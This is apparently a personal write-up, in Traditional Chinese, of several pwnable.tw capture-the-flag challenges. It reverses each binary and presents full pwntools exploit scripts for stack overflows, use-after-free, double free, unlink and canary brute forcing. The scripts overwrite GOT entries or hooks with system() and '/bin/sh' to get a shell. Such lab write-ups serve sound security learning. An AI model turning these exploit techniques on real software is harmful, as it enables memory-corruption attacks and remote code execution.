增強力量時, bullet + 0x30
需要小於 0x30
讀入一個 0x30 - 目前力量
長度的字串
將該字串用 strncat
接到 bullet
上面
戰鬥就是將血量減去力量
離開就離開
另外,本程式的讀入是使用自己寫的 read_input
重點在於如何利用 strncat
的特性,在串接完之後會在後面補上一個 \0
來攻擊
由於 strncat
參數並沒有多留一格的空間放最後的 \0
,這導致當字串串接剛好塞滿時,會發生 overflow
overflow 時,多出來的 \0
會剛好蓋在 bullet + 0x30
上面,這導致了判斷力量的依據也壞掉,可以無限寫入
最後,檢查一下程式的保護權限
Full RELRO,因此考慮使用 Ret2libc
檢查一下是否存在 one_gadget
漏洞利用
整體思路是取得無限寫入之後,leak 出 libc Address,然後跳到 one_gadget 上
先利用 strncat
的漏洞讓 bullet
可以無限寫入
先輸入 47
個 a
再 power up 1
個 b
接著要覆蓋掉 return address,先用 GDB 確認一下 padding
padding = 7
接著我們 leak 出 puts 的 GOT Address
預期 stack 長這樣
padding( 7
格)
puts@plt
(return address)
main
(return address for puts
)
puts@got
(leak address)
先測試一下能否正確 leak 出 address
from pwn import *
DEBUG_MODE = True
elf = ELF("./silver_bullet" )
libc = ELF("/lib32/libc.so.6" )
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./silver_bullet' )
else :
p = remote("chall.pwnable.tw" , 10103 )
p.recv()
p.sendline(str ('1' ))
p.recv()
p.sendline('a' * 47 )
p.recv()
p.sendline(str ('2' ))
p.recv()
p.sendline('b' )
p.recv()
p.sendline(str ('2' ))
p.recv()
p.sendline(b'\xff' * 7 + p32(elf.sym['puts' ]) + p32(elf.sym['main' ]) + p32(elf.got['puts' ]))
p.interactive()
執行之後發現又回到選單了,回去檢查一下 Ghidra 後,發現只有打倒狼人時會觸發 return
但由於代表力量的那格空間我們也能覆寫,因此在 padding 時用大一點的數字即可
執行戰鬥之後可以發現
成功打倒狼人
成功回到 main 了
印出了 Address
So far so good,我們已經取得 puts GOT address,能夠計算出 libc address,接著我們再重複一次剛剛的動作,這次將 return address 寫成 one_gadget 即可
再次測試
from pwn import *
DEBUG_MODE = True
elf = ELF("./silver_bullet" )
libc = ELF("/lib32/libc.so.6" )
one_gadget = 0x16f3e2
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./silver_bullet' )
else :
p = remote("chall.pwnable.tw" , 10103 )
p.recv()
p.sendline(str ('1' ))
p.recv()
p.sendline('a' * 47 )
p.recv()
p.sendline(str ('2' ))
p.recv()
p.sendline('b' )
p.recv()
p.sendline(str ('2' ))
p.recv()
p.sendline(b'\xff' * 7 + p32(elf.sym['puts' ]) + p32(elf.sym['main' ]) + p32(elf.got['puts' ]))
p.recv()
p.sendline(str ('3' ))
p.recvuntil('Oh ! You win !!\x0a' )
puts_addr = u32(p.recv(4 ))
libc_addr = puts_addr - libc.sym['puts' ]
p.recv()
p.sendline(str ('1' ))
p.recv()
p.sendline('a' * 47 )
p.recv()
p.sendline(str ('2' ))
p.recv()
p.sendline('b' )
p.recv()
p.sendline(str ('2' ))
p.recv()
p.sendline(b'\xff' * 7 + p32(libc_addr + one_gadget))
p.recv()
p.sendline(str ('3' ))
p.interactive()
執行後失敗了,但用 GDB 檢查後,程式確實已經執行到想要的位置( execl
)
這可能代表本機的 one_gadget 前置條件無法達成,直接遠端看看
將 libc 與 one_gadget 換成遠端版本後 …
成功 get shell!
hacknote Recon
先執行看看流程
執行後出現菜單
新增筆記
刪除筆記
印出筆記
離開
換到 Ghidra 看看
程式被 strip 過,從 entry 找到 main
後開始分析
main
的整體架構跟上一題 silver_bullet
有點像
新增筆記的部分
最多存在 5
個筆記,超過就會印出 Full
如果沒有宣告過空間,建立 8
的空間在 DAT_NOTE + i * 4
的位置
前四 bytes 放入一個 puts
的 function address
read
筆記大小 size
,最多 8
個 bytes
read
一個 size
大小的空間,放到後四 bytes
在後四 bytes 這裡 read
內容
刪除筆記的部分
read
一個 index
如果 DAT_NOTE + i * 4
含有資料, free
掉前四 bytes 和後四 bytes 宣告的空間
沒有清空資料,沒有修改筆記大小
印出筆記的部分
read
一個 index
呼叫 note 前面的 puts
印出後面的內容
刪除不會修改筆記數量,因此我們最多只能 add note 5
次
刪除沒有清空資料,因此有機會可以做 UAF
漏洞利用
攻擊思路
先利用 UAF,修改 puts
後面的資料使其 leak 出 libc address
再利用一次 UAF,修改 puts
address 去 system
首先創造兩個筆記,創造時包含了 puts_addr 與 content,因此共有四個 chunk
puts_addr 的 chunk 大小固定為 0x08
content 的大小要故意與 0x08
不同,這邊使用 0x20
接著將兩個筆記都刪除,因此四個 chunk 進入 bin 中
兩個是 puts_addr 的( 0x08
),兩個是 context 的( 0x20
)
再次新增筆記,這次大小故意使用 0x08
,分配 chunk 時就會將原本是 puts_addr、內容沒有刪除乾淨的 chunk 分配過來
0x08
的第一塊一樣被拿去當 puts_addr 了,另一塊是存放 content
因為是 fast bin 是 LIFO,所以第一塊的 index 會是 1
,第二塊會是 0
而我們可以在這邊寫入 puts
的 GOT(其實也是可以用其他的 GOT,但習慣用 puts
了)
記得前面的 puts_addr 要放回去,這樣 printNote 的時候才會觸發
印出筆記 0
,取得 GOT,計算進而得出 libc base address
因為 0x08
的 chunk 被我們用完了,我們二次攻擊前要再刪除一次筆記
直接刪掉最後新增的筆記 2
,因為他的兩個 chunk 都是 0x08
,且因為 free 的順序,具有 puts_addr 是第二個
然後再寫入一次 0x08
的筆記,內容為利用 libc base address 計算出的 system()
,並在後面接上 ||sh
得到 shell
寫入的地方變成原本放 puts_addr 的地方了
最後再次印出筆記 0
,得到 shell
from pwn import *
DEBUG_MODE = False
elf = ELF('./hacknote' )
libc = ELF('./libc_32.so.6' )
puts_addr = 0x0804862b
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
def addNote (size, content ):
p.recvuntil('Your choice :' )
p.sendline(str ('1' ))
p.recvuntil('Note size :' )
p.sendline(str (size))
p.recvuntil('Content :' )
p.sendline(content)
def deleteNote (index ):
p.recvuntil('Your choice :' )
p.sendline(str ('2' ))
p.recvuntil('Index :' )
p.sendline(str (index))
def printNote (index ):
p.recvuntil('Your choice :' )
p.sendline(str ('3' ))
p.recvuntil('Index :' )
p.sendline(str (index))
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./hacknote' )
else :
p = remote("chall.pwnable.tw" , 10102 )
addNote(0x20 , 'aaa' )
addNote(0x20 , 'bbb' )
deleteNote(0 )
deleteNote(1 )
addNote(0x08 , p32(puts_addr) + p32(elf.got['puts' ]))
printNote(0 )
libc_addr = u32(p.recv(4 )) - libc.sym['puts' ]
deleteNote(2 )
system_addr = libc_addr + libc.sym['system' ]
addNote(0x08 , p32(system_addr) + b'||sh' )
printNote(0 )
p.interactive()
Tcache Tear
想說上一題寫了一個 heap 相關的,這次也來一題連著寫
Recon
執行程式看看流程
要求輸入名稱
出現選單
Malloc
Free
Info
Exit
改用 Ghidra 分析
程式被 Strip
read
0x20
的大小到 DAT_name
read
名稱的部分使用自己寫的 function
read
選單的不是也是另外的 function
讀入 0x17
的資料,轉成 long long
後面寫成 readll
,以跟前面的區分
Malloc
的部分
size
也是用 readll
讀入
當 size
< 0x100
才會繼續
先分配 size
的空間到 DAT_allo
這導致了每次呼叫 Malloc
時, DAT_allo
會指向不同地址
用 read
讀入 size
- 0x10
的空間
Free
的部分
將 DAT_allo
free
掉
最多只能 Free
7
次
Info
的部分
exit
的部分
比較明顯的漏洞是 Free
的部分完全沒有任何防護或判斷,因此存在 double free 的漏洞
另外,清空 pointer 後沒有清空,因此可以做 UAF
漏洞利用
攻擊思路為先 allocate 一次空間後, free
兩次,使其在 bin 中指向自己
接著再次要空間後修改 fd,使之後拿到的空間為指定的空間,達到任意空間寫入
from pwn import *
DEBUG_MODE = False
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
def add (size, content ):
p.recvuntil('choice :' )
p.sendline(str ('1' ))
p.recvuntil('Size:' )
p.sendline(str ('size' ))
p.recvuntil('Data:' )
p.sendline(content)
def free ():
p.recvuntil('choice :' )
p.sendline(str ('2' ))
def doublefree (addr, data ):
add(0x20 , 'test' )
free()
free()
add(0x20 , p64(addr))
add(0x20 , 'temp' )
add(0x20 , data)
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./tcache_tear' )
else :
p = remote("chall.pwnable.tw" , 10207 )
p.recv()
p.sendline('zero' )
doublefree(0x00602060 , 'ouo' )
p.interactive()
執行後再輸入 3
看 Info,可以發現名稱已經被改為 ouo
了,代表任意寫入成功
值得注意的是,在本機因為 libc 版本過新,會跳出 double free 的錯誤
可以透過在中間 free 其他塊來 bypass
我們已經能夠任意寫入了,但存在一些限制
因為 free
只能 7
次,因此寫入次數是有限制的
再來,我們的目標是建構出 RCE 的流程
拿到 libc address
取得 shell
對於 libc address,由於我們整個程式可控的 output 只能透過 info
,因此我們的目標是使 DAT_name
存在能洩漏 libc 的資訊
而這個 libc 的資訊,我們利用 bin 中的 linked-list 會指向 arena 的特性來取得
bin 我們使用 unsorted bin 來利用,因為其他是單向的
也就是說,我們希望將一個 chunk 故意丟入 unsorted bin 之中,然後我們讀取 chunk 中的 arena address 來計算 libc address
要將 chunk 故意丟入 unsorted bin 之中,使用到 house of spirit 的技巧,這必須符合幾個條件
fake chunk 位於 DAT_name
上面,這樣我們才能利用 info 把資料印出來
chunk size > 0x408
,這樣才不會掉到 tcache 或是 fastbin
next chunk 的 prev_inuse 必須為 1
,才不會被合併
為了達成以上條件,我們理想中的 heap 應該長成這樣
chunk 1 – DAT_name
0
0x501 (size + prev_inuse)
chunk 2 – DAT_name + 0x500
0
0x21 (size + prev_inuse)
0
0
chunk 3 – 反正就是接在 chunk 2 且長的一樣
最後我們再針對 DAT_name + 0x10
的位址再寫入一次,將指標移到上面方便我們 free 掉預先做好的 fake chunk
如此一來, DAT_name
應該就會被我們丟到 unsorted bin 之中,我們可以呼叫 info 將 arena 印出來
arena addr 可以透過 ghidra 分析 libc 中的 malloc_trim
得到
from pwn import *
DEBUG_MODE = False
DAT_NAME = 0x602060
ARENA_ADDR = 0x3ebca0
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
def add (size, content ):
p.recvuntil('choice :' )
p.sendline(str ('1' ))
p.recvuntil('Size:' )
p.sendline(str (size))
p.recvuntil('Data:' )
p.sendline(content)
def free ():
p.recvuntil('choice :' )
p.sendline(str ("2" ))
def info ():
p.recvuntil('choice :' )
p.sendline(str ("3" ))
def doublefree (size, addr, data ):
add(size, 'a' )
free()
free()
add(size, p64(addr))
add(size, 'a' )
add(size, data)
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./tcache_tear' )
else :
p = remote("chall.pwnable.tw" , 10207 )
p.recv()
p.sendline(p64(0 ) + p64(0x501 ))
doublefree(0x50 , DAT_NAME + 0x500 , (p64(0 ) + p64(0x21 ) + p64(0 ) + p64(0 )) * 2 )
doublefree(0x60 , DAT_NAME + 0x10 , 'a' )
free()
info()
p.recvuntil("Name :" )
p.recv(0x10 )
libc = u64(p.recv(8 )) - ARENA_ADDR
print (hex (libc))
p.interactive()
現在已經得到 libc address 了,最後一部是進一步從 libc 之中呼叫到 shell
然而我們沒辦法使用 RET,因此沒辦法 Ret2lib
這時候就該使用 hook 了
常見的有 __malloc_hook
和 __free_hook
我們只要去修改這些 hook function 的值,就能夠在呼叫到對應 function 時去替換功能
先檢查一下是否存在 one_gadget,如果有就直接將 free
hook 到 one_gadget 即可
修改 __free_hook
的方式一樣使用 doublefree 即可
from pwn import *
DEBUG_MODE = False
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so' )
DAT_NAME = 0x602060
ARENA_OFFSET = 0x3ebca0
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
def add (size, content ):
p.recvuntil('choice :' )
p.sendline(str ('1' ))
p.recvuntil('Size:' )
p.sendline(str (size))
p.recvuntil('Data:' )
p.sendline(content)
def free ():
p.recvuntil('choice :' )
p.sendline(str ("2" ))
def info ():
p.recvuntil('choice :' )
p.sendline(str ("3" ))
def doublefree (size, addr, data ):
add(size, 'a' )
free()
free()
add(size, p64(addr))
add(size, 'a' )
add(size, data)
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./tcache_tear' )
else :
p = remote("chall.pwnable.tw" , 10207 )
p.recv()
p.sendline(p64(0 ) + p64(0x501 ))
doublefree(0x50 , DAT_NAME + 0x500 , (p64(0 ) + p64(0x21 ) + p64(0 ) + p64(0 )) * 2 )
doublefree(0x60 , DAT_NAME + 0x10 , 'a' )
free()
info()
p.recvuntil("Name :" )
p.recv(0x10 )
libc_addr = u64(p.recv(8 )) - ARENA_OFFSET
free_hook = libc_addr + libc.sym['__free_hook' ]
doublefree(0x70 , free_hook, p64(libc_addr + 0x4f322 ))
p.interactive()
問題
比較奇怪的是,我查看 libc 的 Arena offset 應該為 004ed8e0
,但是一直不成功
最後看了別人的 write-up,卻發現 offset 為 0x3ebca0
,這部分待確認
applestore Recon
執行程式看看狀況
執行後會有 Menu 出現,可以做幾件事情
看商品
加到購物車
移出購物車
列出購物車
結帳
離開
一樣換到 Ghidra
沒有 strip
main
的地方先分配了 0x10
的空間
Menu 出現後,讀取了 0x15
的資料作為選擇輸入,並轉為 int
read
的部分有另外寫 function,會將最後一個字設為 \0
如果輸入 1 ~ 6
以外的數字,有做處理
列出商品的部分是打印出固定字串,沒有利用空間
加入購物車的部分
讀入 0x15
的 int
輸入
根據輸入的數字, create
不同的商品
這邊的重點在於需要還原 Cart
struct 會較好分析
名稱、價錢、上一個商品、下一個商品
create
會新增一個 Cart
實體,將名稱、價錢設定,並且將 linked-list 的前和後指向 NULL
接著將該 Cart
用 insert
加到 linked-listed myCart
之中
myCart
的開頭是空的, myCart.next
才是第一個商品
最後將商品名稱印出來
移出購物車的部分
讀入 0x15
的 int
輸入
如果購物車沒東西,直接 return
接著遍歷 myCart
,如果到指定的數字,就將前後商品的 next
與 prev
接到對的位置
沒有進行 free
,也沒有清空指標等等
列出購物車的部分
讀入 0x15
的輸入,如果第一格是 y
才會繼續往下
遍歷 myCart
的 linked-list
每次印出目前的編號、商品名、價錢
計算總和,最後回傳
結帳的部分
呼叫列出購物車的 function,將總價 sum
紀錄下來
如果總價等於 7174
,自動將 iPhone 8 1$
加到購物車
離開的部分
在這邊明顯可利用的地方在於總額達到 7174 的時候放入的 iphone cart,並不是另外呼叫 create
創造出來的實體,而是直接使用 stack 上的 cart
這導致放入後在 myCart
的鍊上存在 stack 的資料,我們便有機會利用該資料 leak 出 libc 的 address
漏洞利用
先利用 z3-solver
求出如何剛好達到 7174
元
from z3 import *
w = Int('w')
x = Int('x')
y = Int('y')
z = Int('z')
solve(w >= 0, x >= 0, y >= 0, z >= 0, 199 * w + 299 * x + 399 * y + 499 * z == 7174)
# output: [x = 14, w = 10, z = 2, y = 0]
由於 iphone 8 的商品是 stack 上的內容,因此離開該 function 後,鏈上的資料就會壞掉
可以在 iphone 8 加入之後,再呼叫查看購物車來驗證
進一步觀察,可以看到這筆資料是在 ebp - 0x24
的位置
由於新增、刪除、列出購物車等等的 function,都和結帳位於 handle
function 的下一層,因此 stack frame 是同一的位址
檢查一下,是否有辦法修改到 ebp - 0x24
的 function
在列出購物車的 cart
function 中,負責儲存使用者輸入的 input_choice[22]
這個變數是 ebp - 0x26
的位址
向上 22
格的空間是我們可控的,這就包含到 ebp - 0x24
的位址
而 input_choice
在該 function 的檢查只有開頭等於 y
會印出資訊,而後面的欄位我們可以任意修改
我們將後面修改為 puts
的 GOT,藉此 leak libc address
from pwn import *
DEBUG_MODE = True
elf = ELF('./applestore' )
libc = ELF('/lib32/libc.so.6' )
def add (num ):
p.sendlineafter('> ' , str ('2' ))
p.sendlineafter('> ' , str (num))
def cart (payload ):
p.sendlineafter('> ' , str ('4' ))
p.sendlineafter('> ' , payload)
def checkout ():
p.sendlineafter('> ' , str ('5' ))
p.sendlineafter('> ' , 'y' )
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./applestore' )
else :
p = remote("chall.pwnable.tw" , 10104 )
for i in range (14 ):
add(2 )
for i in range (10 ):
add(1 )
add(3 )
add(3 )
checkout()
payload = b'y\x00' + p32(elf.got['puts' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
libc_addr = u32(p.recv(4 )) - libc.sym['puts' ]
print (hex (libc_addr))
p.interactive()
執行後成功取得 libc address
可以在 GDB 輸入 info proc mappings
來比對結果是否正確
再來我就有點沒想法了,偷偷查了一下別人的 write-up 後才知道接下來的思路
洩漏 stack address
修改 GOT 表
洩漏 stack 的部分比較單純,但我知識量不足
在 glibc 之中有個叫做 environ
的全域變數,用於儲存環境變數
而程式執行時,環境變數就放在 stack 上面
因此該變數其實儲存的就是 stack 上的某個 address(還是存在 offset)
from pwn import *
DEBUG_MODE = True
elf = ELF('./applestore' )
libc = ELF('/lib32/libc.so.6' )
def add (num ):
p.sendafter('>' , str ('2' ))
p.sendafter('Number>' , num)
def cart (payload ):
p.sendafter('>' , str ('4' ))
p.sendafter('(y/n) >' , payload)
def checkout ():
p.sendafter('>' , str ('5' ))
p.sendafter('(y/n) >' , 'y' )
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./applestore' )
else :
p = remote("chall.pwnable.tw" , 10104 )
libc = ELF('./libc_32.so.6' )
for i in range (14 ):
add('2' )
for i in range (10 ):
add('1' )
add('3' )
add('3' )
checkout()
payload = b'y\x00' + p32(elf.got['puts' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
libc.address = u32(p.read(4 )) - libc.sym['puts' ]
payload = b'y\x00' + p32(libc.sym['environ' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
ebp_addr = u32(p.read(4 ))
print (hex (ebp_addr))
p.interactive()
這邊看別人 write-up 的時候順便學會 libc.address
這種設定方式,後面就不用自己寫 + libc_addr
之類的
上面的 exp 其實還不是正確的,因為我們沒有處理 offset
這邊使用 GDB 確認一下印出來的值和實際的 ebp 差多少
我暫停在 cart
function 之中,然後查看這層 stack frame 的 ebp 與目前的值差多少
0xffec30cc - 0xffec2fa8
為 0x124
再來這邊就更難一點了,我們要如何呼叫到 shell?
我們可以利用 delete
內 unlink 的部分進行攻擊,改寫 GOT
先看一下 delete
function 的 code
可以看到第 30
行後面是在將 temp_cart
這個商品移除時,前後商品的 link 重新設定(unlink)
而當輸入是 27
時, temp_cart
在 stack 上且可控,因此這邊的 next_temp
與 prev_temp
通通可控
我們就可以將其中一個改寫成 GOT 中想要修改的 function,另一個改為 ebp 的值,使他們互相覆寫資料
需要注意的是,根據 cart
的資料結構, next
和 prev
都有一段 offset,需要計算過後才能設計出預想的攻擊
那麼要修改什麼值呢?我們回到 handle
看看
可以看到第 15
行使用到 atoi
,且上面的 my_read
可以幫助我們寫入資料去控制 stack 的內容
因此我們可以嘗試建構出一個攻擊思路
將對應到 input_choice
的 stack 區段改寫為 got['atoi'] - offset
這裡的 offset 為 input_choice
與 ebp 的距離
再利用 my_read
將其改寫為 system()
from pwn import *
DEBUG_MODE = True
elf = ELF('./applestore' )
libc = ELF('/lib32/libc.so.6' )
ENVIRON_OFFSET = 0x124
def add (num ):
p.sendafter('>' , str ('2' ))
p.sendafter('Number>' , num)
def delete (payload ):
p.sendafter('>' , str ('3' ))
p.sendafter('Number>' , payload)
def cart (payload ):
p.sendafter('>' , str ('4' ))
p.sendafter('(y/n) >' , payload)
def checkout ():
p.sendafter('>' , str ('5' ))
p.sendafter('(y/n) >' , 'y' )
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./applestore' )
else :
p = remote("chall.pwnable.tw" , 10104 )
libc = ELF('./libc_32.so.6' )
for i in range (14 ):
add('2' )
for i in range (10 ):
add('1' )
add('3' )
add('3' )
checkout()
payload = b'y\x00' + p32(elf.got['puts' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
libc.address = u32(p.read(4 )) - libc.sym['puts' ]
payload = b'y\x00' + p32(libc.sym['environ' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
ebp_addr = u32(p.read(4 )) - ENVIRON_OFFSET
payload = b'27' + p32(elf.got['atoi' ]) + p32(0 ) + p32(ebp_addr - 0x0c ) + p32(elf.got['atoi' ] + 0x22 )
delete(payload)
p.sendafter('>' , p32(libc.sym['system' ]) + b';/bin/sh\x00' )
p.interactive()
遠端的部分需要修改幾個地方
ENVIRON_OFFSET 會改變
我可能得找個時間研究 elfpatch
搞定了,請查看最上面 環境
的部分
更換之後確實 offset 改為 0x104
了
另外一點是 system(';/bin/sh\x00')
會無法使用
最後腳本
from pwn import *
DEBUG_MODE = False
elf = ELF('./applestore' )
libc = ELF('/lib32/libc.so.6' )
ENVIRON_OFFSET = 0x124
def add (num ):
p.sendafter('>' , str ('2' ))
p.sendafter('Number>' , num)
def delete (payload ):
p.sendafter('>' , str ('3' ))
p.sendafter('Number>' , payload)
def cart (payload ):
p.sendafter('>' , str ('4' ))
p.sendafter('(y/n) >' , payload)
def checkout ():
p.sendafter('>' , str ('5' ))
p.sendafter('(y/n) >' , 'y' )
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./applestore' )
else :
p = remote("chall.pwnable.tw" , 10104 )
libc = ELF('./libc_32.so.6' )
ENVIRON_OFFSET = 0x104
for i in range (14 ):
add('2' )
for i in range (10 ):
add('1' )
add('3' )
add('3' )
checkout()
payload = b'y\x00' + p32(elf.got['puts' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
libc.address = u32(p.read(4 )) - libc.sym['puts' ]
payload = b'y\x00' + p32(libc.sym['environ' ]) + p32(0 ) * 3
cart(payload)
p.recvuntil('27: ' )
ebp_addr = u32(p.read(4 )) - ENVIRON_OFFSET
payload = b'27' + p32(elf.got['atoi' ]) + p32(0 ) + p32(ebp_addr - 0x0c ) + p32(elf.got['atoi' ] + 0x22 )
delete(payload)
p.sendafter('>' , p32(libc.sym['system' ]) + b'||/bin/sh' )
p.interactive()
babystack Recon
先使用 pathelf 把提供的 libc 更換上去
記得是 64-bits 的程式,ld 也要用 64-bits 的
執行一下程式
沒有 menu,直接要求輸入
1
的話會要求輸入密碼
2
會離開程式
換 Ghidra 分析
程式被 stripped,從 entry 找到 main
main
的開頭先讀了 Linux 中產生亂數的檔案並儲存起來
接著印出 '>'
的字串後讀 0x10
的輸入
如果輸入開頭是 1
,進入 login
如果是 2
,離開程式
如果是 3
,進入 copy
login
的參數為最開始讀入的 random
讀入 0x7f
的輸入 input_pwd
,輸入長度為 n
比較 input_pwd
與 random 參數的前 n
個字是否一樣,一樣的話將 DAT_login
設為 1
離開程式時,如果 DAT_login
為 1
才會觸發 return
,否則直接 exit
return 之前會檢查 random 是否被修改過,如果被修改過則發生錯誤
如果 DAT_login
為 1
才能進入 copy
傳入的參數為 copy_dest
,是一個 char *
先讀入 0x3f
的輸入,再使用 strcpy
將輸入複製到參數中
漏洞利用
第一步我們得先想辦法成功 login,否則什麼也不能做
要 login 很簡單,由於只比較輸入字串的長度,因此直接輸入空字串或是使用 \x00
截斷字串就能繞過判斷
登入成功後就可以使用 copy
,那這個 function 要如何利用呢
首先,我們得知道 strcpy
會直接把整個 source 的內容複製到 copy,即便 dest 空間不夠
然而 copy_dest
空間有 64(0x40)
,copy 時只能讀入 0x3f
的資料,看起來似乎無法造成 overflow
但仔細觀察 copy 和 login 兩個 function,可以發現兩者接收輸入的地方在 stack 中與 ebp 的 offset 是一樣的
input_pwd
與 str
再加上兩個 function 都位於 main
的下一層,因此兩者位於 stack 是同樣的位址
因此我們可以在登入時預寫資料,而在 copy 時將預寫的資料複製過去,造成 overflow
舉個例子,先使用 \x00 + a*99
等等的 payload 進行登入,在 copy 時隨便使用 b
進行複製,就會讓 copy_dest
後面的資料被蓋成一堆 a
因此我們可以從 copy_dest
一路覆蓋掉 main 的 return address
以下是一個驗證腳本,證明我們有能力覆蓋掉 random
導致密碼改變
from pwn import *
DEBUG_MODE = True
elf = ELF('./babystack' )
libc = ELF('./libc_64.so.6' )
def setgdb (filename : str ):
p = process(['./ld-2.23.so' , filename], env={'LD_PRELOAD' :'./libc_64.so.6' })
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./babystack' )
else :
p = remote("chall.pwnable.tw" , 10205 )
p.sendafter('>' , '1' )
p.sendafter('Your passowrd :' , b'\x00' + b'a' * 87 )
p.sendafter('>' , '3' )
p.sendafter('Copy :' , b'a' )
p.sendafter('>' , '1' )
p.sendafter('>' , '1' )
p.sendafter('Your passowrd :' , b'aaaaa\n' )
p.interactive()
我們現在有能力造成 overflow,但我們仍需要解決兩個問題
洩漏 libc address,使我們能夠 return to one_gadget
洩漏 random,使我們 copy 時不會修改到 canary
先解決 random 的問題,因為比較單純
回去看一下 login 可以發現,比較的長度是根據使用者輸入而改變
因此能夠利用 0x00
作截斷,一次只比較一個 byte,而不比較整個 random
那麼我們就能夠使用逐字爆破法,一個一個 byte 將整個 random
爆出來
from pwn import *
DEBUG_MODE = True
elf = ELF('./babystack' )
libc = ELF('./libc_64.so.6' )
def leak (msg = b'' , leak_size = 0 ):
for i in range (leak_size):
j = 1
while (1 ):
p.sendafter('>' , '1' )
p.sendafter('Your passowrd :' , msg + j.to_bytes(1 , 'big' ) + b'\x00' )
if (b'Login Success !' in p.recvuntil('!' )):
msg = msg + j.to_bytes(1 , 'big' )
p.sendafter('>' , '1' )
break
else :
j += 1
return msg
def setgdb (filename : str ):
p = process(['./ld-2.23.so' , filename], env={'LD_PRELOAD' :'./libc_64.so.6' })
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./babystack' )
else :
p = remote("chall.pwnable.tw" , 10205 )
password = leak(b'' , 0x10 )
p.sendafter('>' , '1' )
p.sendafter('Your passowrd :' , password)
p.interactive()
libc address 的部分,我們可以看看 stack 上是否存在可利用的 libc function address,想辦法洩漏出來之後再算出 offset
我將 GDB 設斷點在 strcpy
的地方,以下是 stack 的樣子
可以看到 stack+0x58 的地方有個 0x007ffff7878439 → <_IO_file_setbuf+9>
,看起來就很像是 libc 中的 function address
這邊可以做點驗證
我們知道 libc_addr + _IO_file_setbuf_offset + 9
= _IO_file_setbuf_addr + 9
從上圖可以知道 _IO_file_setbuf_addr + 9
= 0x007ffff7878439
使用 vmmap 看到 libc_addr
= 0x007ffff7800000
然後利用 pwntools print(hex(libc.sym['_IO_file_setbuf']))
可以得到 _IO_file_setbuf_offset
= 0x78430
帶回去式子成立,代表的確利用該 function address 可以算出 libc_address
我們現在知道 libc_addr 可以利用 stack 中的資料取得了,問題是該如何 leak 出來
再回去看一下 login 可以發現,比較的長度是根據使用者輸入而沒有針對 random
去做 0x10
的上限控管
因此使用者輸入即便超過了 0x10
,依然會將 stack 上 random
後面的資料作為密碼繼續比較
而我們可以利用 copy 將前面的資料全部覆蓋成 a
,順便將想要 leak 的資料 copy 到 main
的 stack 上面
然後到要洩漏的資料時再一樣使用逐字爆破把資料印出
from pwn import *
DEBUG_MODE = True
elf = ELF('./babystack' )
libc = ELF('./libc_64.so.6' )
def leak (msg = b'' , leak_size = 0 ):
ans = b''
for i in range (leak_size):
j = 1
while (1 ):
p.sendafter('>>' , '1' )
p.sendafter('Your passowrd :' , msg + ans + j.to_bytes(1 , 'big' ) + b'\x00' )
if (b'Login Success !' in p.recvuntil('!' )):
ans = ans + j.to_bytes(1 , 'big' )
p.sendafter('>>' , '1' )
break
else :
j += 1
return ans
def setgdb (filename : str ):
p = process(['./ld-2.23.so' , filename], env={'LD_PRELOAD' :'./libc_64.so.6' })
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./babystack' )
else :
p = remote("chall.pwnable.tw" , 10205 )
password = leak(b'' , 0x10 )
p.sendafter('>>' , '1' )
p.sendafter('Your passowrd :' , b'\x00' + b'a' * (0x48 - 1 ))
p.sendafter('>>' , '3' )
p.sendafter('Copy :' , 'a' )
p.sendafter('>>' , '1' )
leak_addr = leak(b'a' * (0x48 - 0x40 ), 6 )
libc_addr = u64(leak_addr + b'\x00\x00' ) - libc.sym['_IO_file_setbuf' ] - 0x09
print (hex (libc_addr))
p.interactive()
